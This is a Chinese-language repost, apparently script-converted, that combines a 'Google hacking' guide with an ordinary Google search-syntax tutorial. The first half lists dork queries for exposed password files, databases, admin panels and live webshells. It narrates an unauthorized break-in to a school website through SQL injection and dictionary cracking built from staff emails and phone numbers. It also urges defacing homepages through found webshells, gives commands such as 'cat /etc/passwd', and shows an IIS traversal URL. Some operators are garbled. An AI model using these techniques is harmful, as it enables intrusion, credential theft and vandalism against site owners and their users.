Google進階技巧—google Hack★★★★

標籤：des   http   color   使用   檔案   資料   

google hacking事實上並算不上什麼新東西,當時並沒有重視這樣的技術,覺得webshell什麼的,並無太大實際用途.google hacking事實上並非如此簡單...
經常使用的googlekeyword：
foo1 foo2 (也就是關聯，比方搜尋xx公司 xx美女)
operator:foo
filetype:123 類型
site:foo.com 相對直接看網站更有意思，能夠得到很多意外的資訊
intext:foo
intitle: fooltitle 標題哦
allinurl:foo 搜尋xx網站的全部相關串連。（踩點必備）
links:foo 不要說就知道是它的相關連結
allintilte:foo.com

我們能夠輔助"-" "+"來調整搜尋的精確程度
直接搜尋password：(引號表示為精確搜尋)
當然我們能夠再延伸到上面的結果裡進行二次搜尋
"index of" htpasswd / passwd
filetype:xls username password email
"ws_ftp.log"
"config.php"
allinurl:admin mdb
service filetype:pwd ....或者某個比方pcanywhere的password尾碼cif等
越來越有意思了，再來點更敏感資訊
"robots.txt" "Disallow:" filetype:txt
inurl:_vti_cnf (FrontPage的關鍵索引啦，掃描器的CGI庫一般都有地)
allinurl: /msadc/Samples/selector/showcode.asp
/../../../passwd
/examples/jsp/snp/snoop.jsp
phpsysinfo
intitle:index of /admin
intitle:"documetation"
inurl: 5800(vnc的連接埠)或者desktop port等多個keyword檢索
webmin port 10000
inurl:/admin/login.asp
intext:Powered by GBook365
intitle:"php shell*" "Enable stderr" filetype:php 直接搜尋到phpwebshell
foo.org filetype:inc

ipsec filetype:conf
intilte:"error occurred" ODBC request where (select|insert) 說白了就是說，能夠直接試著查查資料庫檢索，針對眼下流行的sql注射，會發達哦
"Dumping data for table" username password
intitle:"Error using Hypernews"
"Server Software"
intitle:"HTTP_USER_AGENT=Googlebot"
"HTTP_USER_ANGET=Googlebot" THS ADMIN
filetype:.doc site:.mil classified 直接搜尋軍方相關word
檢查多個keyword：
intitle:config confixx login password
"mydomain.com" nessus report
"report generated by"
"ipconfig"
"winipconfig"
google緩衝利用（hoho，最有影響力的東西）推薦大家搜尋時候多"選搜尋全部網站"
精選：administrator users 等相關的東西，比方名字，生日等……最慘也能夠拿來做字典嘛

……

一些技巧集合：
1) index.of.password
1) filetype:blt "buddylist"
2) "access denied for user" "using password"
2) intitle:"index of" inurl:ftp (pub | incoming)
3) "http://*:*@www" domainname
3) filetype:cnf inurl:_vti_pvt access.cnf
4) auth_user_file.txt
4) allinurl:"/*/_vti_pvt/" | allinurl:"/*/_vti_cnf/"
5) The Master List
5) inurl:"install/install.php"
6) allinurl: admin mdb
6) intitle:"welcome.to.squeezebox"
7) passlist.txt (a better way)
7) intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
8) "A syntax error has occurred" filetype:ihtml
8) intitle:Login intext:"RT is ? Copyright"
9) "# -FrontPage-" inurl:service.pwd
9) ext:php program_listing intitle:MythWeb.Program.Listing
10) orA-00921: unexpected end of SQL command
10) intitle:index.of abyss.conf
NO2:
--------------------------------------------------------------------------------
google hacking的簡單實現
使用google中的一些文法能夠提供給我們很多其它的資訊(當然也提供給那些習慣攻擊的人很多其它他們所想要的.),以下就來介紹一些經常使用的文法.
intext:
這個就是把網頁中的本文內容中的某個字元做為搜尋條件.比如在google裡輸入:intext:動網.將返回全部在網頁本文部分包括"動網"的網頁.allintext:用法和intext相似.
intitle:
和上面那個intext差點兒相同,搜尋網頁標題中是否有我們所要找的字元.比如搜尋:intitle:安全天使.將返回全部網頁標題中包括"安全天使"的網
頁.同理allintitle:也同intitle相似.
cache:
搜尋google裡關於某些內容的緩衝,有時候或許能找到一些好東西哦.
define:
搜尋某個詞語的定義,搜尋:define:hacker,將返回關於hacker的定義.
filetype:
這個我要重點推薦一下,不管是撒網式攻擊還是我們後面要說的對特定目標進行資訊收集都須要用到這個.搜尋指定類型的檔案.比如輸入
:filetype:doc.將返回全部以doc結尾的檔案URL.當然假設你找.bak、.mdb或.inc也是能夠的,獲得的資訊或許會更豐富:)
info:
尋找指定網站的一些基本資料.
inurl:
搜尋我們指定的字元是否存在於URL中.比如輸入:inurl:admin,將返回N個相似於這樣的串連http://www.xxx.com/xxx/admin,用來找管理員登
陸的URL不錯.allinurl也同inurl相似,可指定多個字元.
link:
比如搜尋:inurl:www.4ngel.net能夠返回全部和www.4ngel.net做了連結的URL.
site:
這個也非常實用,比如:site:www.4ngel.net.將返回全部和4ngel.net這個站有關的URL.

對了另一些*作符也是非常實用的:
+ 把google可能忽略的字列如查詢範圍
- 把某個字忽略
~ 允許詞
. 單一的萬用字元
* 萬用字元，可代表多個字母
"" 精確查詢
以下開始說說實際應用
以下內容均在google上搜尋,對於一個居心叵測的攻擊者來說,可能他最感興趣的就是password檔案了.而google正由於其強大的搜尋能力往往會
把一些敏感資訊透露給他們.用google搜尋以下內容:
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
"# -FrontPage-" inurl:service.pwd
有時候由於各種各樣的原因一些重要的password檔案被毫無保護的暴露在網路上,假設被別實用心的人獲得,那麼危害是非常大的

相同能夠用google來搜尋一些具有漏洞的程式,比如ZeroBoard前段時間發現個檔案代碼泄露漏洞,能夠用google來找網上使用這套程式的網站:
intext:ZeroBoard filetype:php
或者使用:
inurl:outlogin.php?_zb_path= site:.jp
來尋找我們所須要的頁面.phpmyadmin是一套功能強大的資料庫*作軟體,一些網站由於配置失誤,導致我們能夠不使用password直接對phpmyadmin進行*作.我們能夠用google搜尋存在這樣漏洞的程式URL:
intitle:phpmyadmin intext:Create new database
還http://www.xxx.com/_vti_bin/..%5C..%5C..%5C..%5C..%5C../winnt/system32/cmd.exe? dir嗎?用google找找，你或許還能夠找到非常多古董級的機器。相同我們能夠用這個找找有其它cgi漏洞的頁面。
allinurl：winnt system32
前面已經簡單的說過能夠用google來搜尋資料庫檔案,用上一些文法來精確尋找能夠獲得很多其它東西(access的資料庫,mssql、mysql的串連檔案等等).舉個範例示範範例一下:
allinurl:bbs data
filetype:mdb inurl:database
filetype:inc conn
inurl:data filetype:mdb
intitle:"index of" data //在一些配置不對的apache+win32的server上經常出現這樣的情況,和上面的原理一樣,我們還能夠用google來找後台.

利用google全然是能夠對一個網站進行資訊收集和滲透的，以下我們用google對特定網站進行一次測試。
首先用google先看這個網站的一些基本情況(一些細節部分就略去了):
site:xxxx.com
從返回的資訊中，找到幾個該校的幾個系院的網域名稱：
http://a1.xxxx.com
http://a2.xxxx.com
http://a3.xxxx.com
http://a4.xxxx.com
順便ping了一下，應該是在不同的server.學校一般都會有不少好的資料，先看看有什麼好東西沒
site:xxxx.com filetype:doc
得到N個不錯的doc。
先找找網站的管理後台地址：
site:xxxx.com intext:管理
site:xxxx.com inurl:login
site:xxxx.com intitle:管理
超過獲得2個管理後台地址：
http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp
還算不錯，看看server上跑的是什麼程式：
site:a2.xxxx.com filetype:asp
site:a2.xxxx.com filetype:php
site:a2.xxxx.com filetype:aspx
site:a3.xxxx.com filetype:asp
site:.......
......
a2server用的應該是IIS，上面用的是asp的整站程式，另一個php的論壇
a3server也是IIS，aspx+asp。web程式都應該是自己開發的。有論壇那就看看能不能遇見什麼公用的FTP帳號什麼的：
site:a2.xxxx.com intext:ftp://*:*
沒找到什麼有價值的東西。再看看有沒有上傳一類的漏洞：
site:a2.xxxx.com inurl:file
site:a3.xxxx.com inurl:load
在a2上發現一個上傳檔案的頁面：
http://a2.xxxx.com/sys/uploadfile.asp
用IE看了一下，沒許可權訪問。試試注射，
site:a2.xxxx.com filetype:asp
得到N個asp頁面的地址，體力活就讓軟體做吧，這套程式明顯沒有對注射做什麼防範，dbowner許可權，儘管不高但已足矣，back a shell不太喜
歡，並且看起來資料庫的個頭就不小，直接把web管理員的password暴出來再說，MD5加密過。一般學校的網站的password都比較有規律，通常都是網域名稱+
電話一類的變形，用google搞定吧。
site:xxxx.com //得到N個次層網域
site:xxxx.com intext:*@xxxx.com //得到N個郵件地址，還有郵箱的主人的名字什麼的
site:xxxx.com intext:電話 //N個電話
把什麼的資訊做個字典吧，掛上慢慢跑。過了一段時間就跑出4個帳號，2個是學生會的，1個管理員，另一個可能是老師的帳號。登陸上去：
name：網站管理員
pass：a2xxxx7619 //說了吧，就是網域名稱+4個數字
要再怎麼提權那就不屬於本文討論訪問了，呵呵，到此為止。

這段時間在國外的一些google hack的研究網站看了看，事實上也都差點兒相同是一些基本的文法的靈活運用，或者配合某個指令碼漏洞，主要還是靠
個人的靈活思維。國外對於google hack方面的防範也並非非常多，所以大家還是點到為止，不要去搞破壞拉，呵呵。對於一些在win上跑
apache的網管們應該多注意一下這方面，一個intitle:index of就差點兒相同都出來了:)
1.尋找利用php webshell
intitle:"php shell*" "Enable stderr" filetype:php
(注: intitle—網頁標題 Enable stderr—UNIX標準輸出和標準錯誤的縮寫filetype—檔案類型)。搜尋結果中，你能找到非常多直接在機器上執
行命令的web shell來。假設找到的PHPSHELL不會利用，假設你不熟悉UNIX，能夠直接看看LIST，這裡就不具體說了，有非常多利用價值。要說明
的是，我們這裡搜尋出來的一些國外的PHPSHELL上都要使用UNIX命令，都是system調用出來的函數(事實上用百度及其它搜尋引擎都能夠，僅僅是填
寫搜尋的內容不同)。這個PHPWEBSHELL是能夠直接Echo(Unix經常使用命令)。一句話就把首頁搞定了:

echo "召喚" > index.jsp

如今看看首頁，已經被我們改成: "召喚" 了。
我們也能夠用WGET上傳一個檔案上去(比方你要替換的葉子吧)。然後execute Command輸入 cat file > index.html or echo "" > file
echo "test" >> file
這樣一條條打出來，網站首頁就成功被替換了。相同的也能夠

uname -a;cat /etc/passwd
只是有點要注意，有些WEBSHELL程式有問題，運行不了的，
2.搜尋INC敏感資訊
在google的搜尋方塊中填入:
Code:
.org filetype:inc
 

＝＝＝

轉的...........
info:xx.com 返回一些基本資料
site:xx.com 返回全部與該有關的url
link:xx.com 返回全部與該站做了串連的站

site:xx.com filetype:txt 尋找TXT檔案 其它的依次內推

尋找後台
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:後台

查看server使用的程式
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
site:xx.com filetype:aspx

查看上傳漏洞：
site:xx.com inurl:file
site:xx.com inurl:load

尋找注射點：
site:xx.com filetype:asp＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝一，GOOGLE簡單介紹

Google(www.google.com)是一個搜尋引擎，由兩個斯坦福大學博士生Larry Page與Sergey Brin於1998年9月發明，Google Inc. 於1999年創立。2000年7月份，Google替代Inktomi成為Yahoo公司的搜尋引擎，同年9月份，Google成為中國網易公司的搜尋引擎。98年至今，GOOGLE已經獲得30多項業界大獎。

二，GOOGLE特色

GOOGLE支援多達132種語言，包括中文簡體和繁體中文；

GOOGLE網站僅僅提供搜尋引擎功能，沒有花裡胡哨的累贅；

GOOGLE速度極快，據說有8000多台server，200多條T3級寬頻；

GOOGLE的專利網頁層級技術PageRank能夠提供高命中率的搜尋結果；

GOOGLE的搜尋結果摘錄查詢網頁的部分詳細內容，而不僅僅是網站簡單介紹；

GOOGLE智能化的“手氣不錯”功能，提供可能最符合要求的網站；

GOOGLE的“網頁快照”功能，能從GOOGLEserver裡直接取出緩衝的網頁。

三，基本搜尋：+，-，OR

GOOGLE無需用明文的“+”來表示邏輯“與”操作，僅僅要空格就能夠了。

示範範例：搜尋全部包括關鍵詞“易筋經”和“吸星**”的中文網頁

搜尋：“易筋經 吸星**”

結果：已搜尋有關易筋經 吸星**的中文(簡體)網頁。共約有726項查詢結果，這是第1-10項。搜尋用時0.13秒。

注意：文章中搜尋文法外面的引號僅起引用作用，不能帶入搜尋欄內。

GOOGLE用減號“-”表示邏輯“非”操作。

示範範例：搜尋全部包括“易筋經”而不含“吸星**”的中文網頁

搜尋：“易筋經 -吸星**”

結果：已搜尋有關易筋經 -吸星**的中文(簡體)網頁。共約有5,440項查詢結果，這是第1-10項。搜尋用時0.13秒。

注意：這裡的“+”和“-”號，是英文字元，而不是中文字元的“＋”和“－”。此外，操作符與作用的keyword之間，不能有空格。比方“易筋經 - 吸星**”，搜尋引擎將視為邏輯“與”操作，中間的“-”被忽略。

GOOGLE用大寫的“OR”表示邏輯“或”操作。可是，keyword為中文的或查詢似乎還有BUG，無法得到正確的查詢結果。

示範範例：搜尋包括布蘭妮“Britney”或者披頭士“Beatles”、或者兩者均有的中文網頁。

搜尋：“britney OR beatles”

結果：已搜尋有關britney OR beatles的中文(簡體)網頁。共約有14,600項查詢結果，這是第1-10項。搜尋用時0.08秒。

搜尋：“布蘭妮 OR 披頭士”

結果：找不到和您的查詢-布蘭妮 OR 披頭士-相符的網頁。

注意：小寫“or”，在查詢的時候將被忽略；這樣上述的操作實際上變成了一次“與”查詢。

“+”和“-”的作用有的時候是同樣的，都是為了縮小搜尋結果的範圍，提高查詢結果命中率。

例：查閱天龍八部詳細是哪八部。

分析：假設光用“天龍八部”做keyword，搜尋結果有26,500項，並且排前列的主要與金庸的小說《天龍八部》相關，非常難找到所須要的資訊。能夠用兩個方法降低無關結果。

1，假設你知道八部中的某一部，比方阿修羅，添加?“阿修羅”keyword，搜尋結果就僅僅有995項，能夠直接找到全部八部，“天龍八部 阿修羅”。

2，假設你不知道八部中的不論什麼一部，但知道這與佛教相關，能夠排除與金庸小說相關的記錄，查詢結果為1,010項，能夠迅速找到須要的資料，“天龍八部 佛教 -金庸”。

四，輔助搜尋：萬用字元、大寫和小寫、句子、忽略字元以及強制搜尋

GOOGLE不支援萬用字元，如“*”、“?”等，僅僅能做精確查詢，keyword後面的“*”或者“?”會被忽略掉。

GOOGLE對英文字元大寫和小寫不敏感，“GOD”和“god”搜尋的結果是一樣的。

GOOGLE的keyword能夠是片語(中間沒有空格)，也能夠是句子(中間有空格)，可是，用句子做keyword，必須加英文引號。

示範範例：搜尋包括“long, long ago”字串的頁面。

搜尋：“"long, long ago"”

結果：已向英特網搜尋"long, long ago". 共約有28,300項查詢結果，這是第1-10項。搜尋用時0.28秒。

注意：和搜尋英文keyword串不同的是，GOOGLE對中文字串的處理並不十分完好。比方，搜尋“"啊，我的太陽"”，我們希望結果中含有這個句子，事實並不是如此。查詢的非常多結果，“啊”、“我的”、“太陽”等詞語是全然分開的，但又不是“啊 我的 太陽”這種與查詢。顯然，GOOGLE對中文的支援尚有欠缺之處。

GOOGLE對一些網路上出現頻率極高的詞(主要是英文單詞)，如“i”、“com”，以及一些符號如“*”、“.”等，作忽略處理，假設使用者必須要求keyword中包括這些經常使用詞，就要用強制文法“+”。

示範範例：搜尋包括“Who am I ?”的網頁。假設用“"who am i ?"”，“Who”、“I”、“?”會被省略掉，搜尋將僅僅用“am”作keyword，所以應該用強制搜尋。

搜尋：“"+who +am +i"”

結果：已向英特網搜尋"+who +am +i". 共約有362,000項查詢結果，這是第1-10項。搜尋用時0.30秒。

注意：英文符號(如問號，句號，逗號等)無法成為搜尋keyword，加強制也不行。


五，進階搜尋：site，link，inurl，allinurl，intitle，allintitle

“site”表示搜尋結果局限於某個詳細網站或者網站頻道，如“sina.com.cn”、“edu.sina.com.cn”，或者是某個網域名稱，如“com.cn”、“com”等等。假設是要排除某網站或者網域名稱範圍內的頁面，僅僅需用“-網站/網域名稱”。

示範範例：搜尋中文教育科研網站(edu.cn)上全部包括“金庸”的頁面。

搜尋：“金庸 site:edu.cn”

結果：已搜尋有關金庸 site:edu.cn的中文(簡體)網頁。共約有2,680項查詢結果，這是第1-10項 。搜尋用時0.31秒。

示範範例：搜尋包括“金庸”和“古龍”的中文新浪網站頁面，

搜尋：“金庸 古龍 siteina.com.cn”

結果：已在sina.com.cn搜尋有關金庸 古龍的中文(簡體)網頁。共約有869項查詢結果，這是第1-10項。搜尋用時0.34秒。

注意：site後的冒號為英文字元，並且，冒號後不能有空格，否則，“site:”將被作為一個搜尋的keyword。此外，網站網域名稱不能有“http”以及“www”首碼，也不能有不論什麼“/”的檔案夾尾碼；網站頻道則僅僅局限於“頻道名.網域名稱”方式，而不能是“網域名稱/頻道名”方式。諸如“金庸 site:edu.sina.com.cn/1/”的文法是錯誤的。

“link”文法返回全部連結到某個URL地址的網頁。

示範範例：搜尋全部含指向華軍軟體園“www.newhua.com”連結的網頁。

搜尋：“link:www.newhua.com”

結果：搜尋有連結到www.newhua.com的網頁。共約有695項查詢結果，這是第1-10項。搜尋用時0.23秒。

注意：“link”不能與其它文法相混合操作，所以“link:”後面即使有空格，也將被GOOGLE忽略。

inurl文法返回的網頁連結中包括第一個keyword，後面的keyword則出如今連結中或者網頁文檔中。有非常多網站把某一類具有同樣屬性的資源名稱顯示在檔案夾名稱或者網頁名稱中，比方“MP3”、“GALLARY”等，於是，就能夠用INURL文法找到這些相關資源連結，然後，用第二個關鍵詞確定是否有某項詳細資料。INURL文法和基本搜尋文法的最大差別在於，前者通常能提供非常精確的專題資料。

示範範例：尋找MIDI曲“滄海一聲笑”。

搜尋：“inurl:midi 滄海一聲笑”

結果：已搜尋有關inurl:midi 滄海一聲笑的中文(簡體)網頁。共約有14項查詢結果，這是第1-10項。搜尋用時0.01秒。

示範範例：尋找微軟網站上關於windows2000的安全課題資料。

搜尋：“inurlecurity windows2000 site:microsoft.com”

結果：已在microsoft.com內搜尋有關 inurlecurity windows2000的網頁。共約有198項查詢結果，這是第1-10項。搜尋用時0.37秒。

注意：“inurl:”後面不能有空格，GOOGLE也不正確URL符號如“/”進行搜尋。GOOGLE對“cgi-bin/phf”中的“/”當成空格處理。

allinurl文法返回的網頁的連結中包括全部查詢keyword。這個查詢的對象僅僅集中於網頁的連結字串。

示範範例：尋找可能具有PHF安全性漏洞的公司網站。通常這些網站的CGI-BIN檔案夾中含有PHF指令碼程式(這個指令碼是不安全的)，表如今連結中就是“網域名稱/cgi-bin/phf”。

文法：“allinurl:"cgi-bin" phf +com”

搜尋：已向英特網搜尋allinurl:"cgi-bin" phf +com. 共約有40項查詢結果，這是第1-10項。搜尋用時0.06秒。

allintitle和intitle的使用方法相似於上面的allinurl和inurl，僅僅是後者對URL進行查詢，而前者對網頁的標題列進行查詢。網頁標題，就是HTML標記語言title中之間的部分。網頁設計的一個原則就是要把首頁的關鍵內容用簡潔的語言表示在網頁標題中。因此，僅僅查詢標題列，通常也能夠找到高相關率的專題頁面。

示範範例：尋找禁止發有關政治的貼子明星藤原紀香的照片集。

搜尋：“intitle:藤原紀香 寫真”

結果：已搜尋有關intitle:藤原紀香 寫真的中文(簡體)網頁。共約有284項查詢結果，這是第1-10項。搜尋用時0.03秒。

GOOGLE的罕用進階搜尋文法：related，cache，info

related用來搜尋結構內容方面相似的網頁。例：搜尋全部與中文新浪網首頁相似的頁面(如網易首頁，搜狐首頁，中華網首頁等)，“related:www.sina.com.cn/index.shtml”。

cache用來搜尋GOOGLEserver上某頁面的緩衝，這個功能同“網頁快照”，通經常使用於尋找某些已經被刪除的死連結網頁，相當於使用普通搜尋結果頁面中的“網頁快照”功能。

info用來顯示與某連結相關的一系列搜尋，提供cache、link、related和全然包括該連結的網頁的功能。

示範範例：尋找和新浪首頁相關的一些資訊。

搜尋：“infwww.sina.com.cn”

結果：有關www.sina.com.cn的網頁資訊。

新浪首頁

北京站 上海站 廣東站. ... 遊戲世界, |, 影音娛樂, |, Club緣, |, 男

人女人, |, 論壇聊天, |, 時尚潮流, |, 文教育兒, |, 車行天下, |,

軟體下載. ...

Google 提供這個網址的資訊:

查看Google網頁快照裡www.sina.com.cn的存檔

尋找和www.sina.com.cn相似的網頁

尋找網頁有連結到www.sina.com.cn

尋找網頁包括有`www.sina.com.cn`

六，其它重要功能

檔案夾服務

假設不想搜尋網頁，而是想尋找某些專題網站，能夠訪問GOOGLE的分類檔案夾“http://directory.google.com/”，中文檔案夾是“http://directory.google.com/Top/World/Chinese_Simplified/”。只是由於GOOGLE的檔案夾由志願者服務，而GOOGLE在國內名氣相對照較小，因此中文檔案夾下收錄網站非常少。

工具條

為了方便搜尋者，GOOGLE提供了工具條，整合於瀏覽器中，使用者無需開啟GOOGLE首頁就能夠在工具條內輸入keyword進行搜尋。此外，工具條還提供了其它很多功能，如顯示頁面PageRank等。最方便的一點在於使用者能夠快捷的在GOOGLE首頁、檔案夾服務、新聞群組搜尋、進階搜尋和搜尋設定之間切換。欲安裝GOOGLE的工具條，能夠訪問“http://toolbar.google.com/”，按頁面提示能夠自己主動下載並安裝。

新聞群組(USENET)搜尋

新聞群組中有大量的有價值資訊，DEJA一直是新聞群組搜尋引擎中的佼佼者。2001年2月份，GOOGLE將DEJA收購併提供了全部DEJA的功能。如今，除了搜尋之外，GOOGLE還支援新聞群組的WEB方式瀏覽和張貼功能。

輸入“http://groups.google.com/”後，便進入GOOGLE新聞群組介面。可惜如今還沒有中文介面。由於新聞群組中的文章實在是多，所以我點擊“Advaced Groups Search”進入進階搜尋介面http://groups.google.com/advanced_group_search。新聞群組進階搜尋介面提供對keyword、新聞群組、主題、作者、文章序號、語言和公布日期的條件搜尋。當中作者項指作者發帖所用的唯一識別號電子信箱。比方要在alt.chinese.text內搜尋著名老牌網路寫手圖雅的文章，能夠用下列指令“group:alt.chinese.text author:[email protected]”。只是一般而言，我更推薦使用圖形搜尋介面，方便並且直觀。

搜尋結果翻譯

以前為那些你不懂的法文、西班牙文頁面煩惱嗎？如今，GOOGLE支援一項搜尋結果翻譯功能，能夠把非英文的搜尋結果翻譯成英文！！儘管眼下僅僅支援有限的拉丁語、法語、西班牙語、德語和葡萄牙文，可是我不得不承認，這是個偉大的改進。

只是，眼下僅僅能在英文狀態GOOGLE下實現這個功能。進入GOOGLE的設定頁面，http://www.google.com/preferences，有一個“BETA: Enable translation of search results into your interface language. ”的選項，把它選中，就OK了。

搜尋結果過濾

網路上的成人內容浩如煙海，並且非常多網站具有欺騙或者其它不良企圖，瀏覽者非常easy掉入當中的陷阱。為此，GOOGLE新設立了成人內容過濾功能，見GOOGLE的設定頁面，http://www.google.com/preferences，最底下有一個選項SafeSearch Filtering。只是，中文狀態下的GOOGLE尚沒有這個功能。

PDF文檔搜尋

我對GOOGLE尤其讚賞的一點就是它提供對PDF文檔內文的檢索。眼下GOOGLE檢索的PDF文檔大約有2500萬左右。這真是太美妙了。PDF是ADOBE公司開發的電子文檔格式，如今已經成為互連網的電子化出版標準。PDF文檔一般是一些圖文並茂的綜合性文檔，提供的資訊一般比較集中全面。

示範範例：搜尋關於電子商務(ECOMMERCE)的PDF文檔。

搜尋：“inurldf ecommerce”

結果：已向英特網搜尋inurldf ecommerce. 共約有19,200項查詢結果，這是第1-10項。搜尋用時0.11秒。

以下是某項搜尋結果：

[PDF] www.usi.net/pdf/outsoucing-ecommerce.pdf

Outsourcing Electronic Commerce Business Case White Paper By: John P. Sahlin, Product

Marketing Professonial (PMP) Implementation Manager, Web Engineering ...

一般文字檔 - 相似網頁

能夠看到，GOOGLE在PDF檔前加上了[PDF]的標記，並且，GOOGLE把PDF檔案轉換成了文字檔，點擊“一般文字檔”，能夠粗略的查看該PDF文檔的大致內容。當然，PDF原有的圖片以及格式是沒有了。

映像文檔搜尋

GOOGLE提供了Internet像檔案的搜尋功能！！眼下該功能尚在B測試階段，但已經非常好用。訪問地址是“images.google.com”。你能夠在keyword欄位內輸入描寫敘述映像內容的keyword，如“britney spears”，也能夠輸入描寫敘述映像品質或者其它屬性的keyword，如“high quality”。

GOOGLE給出的搜尋結果具有一個直觀的縮圖(THUMBNAIL)，以及對該縮圖的簡單描寫敘述，像檔案名稱，以及大小等。點擊縮圖，頁面分成兩禎，上禎是映像之縮圖，以及頁面連結，而下禎，則是該映像所處的頁面。螢幕右上方有一個“Remove Frame”的button，能夠把架構頁面迅速切換到單禎的結果頁面，非常方便。GOOGLE還提供了對成人內容映像的限制功能，能夠讓搜尋者免受不必要的騷擾。

只是，非常遺憾的是，Image Search功能還不支援中文。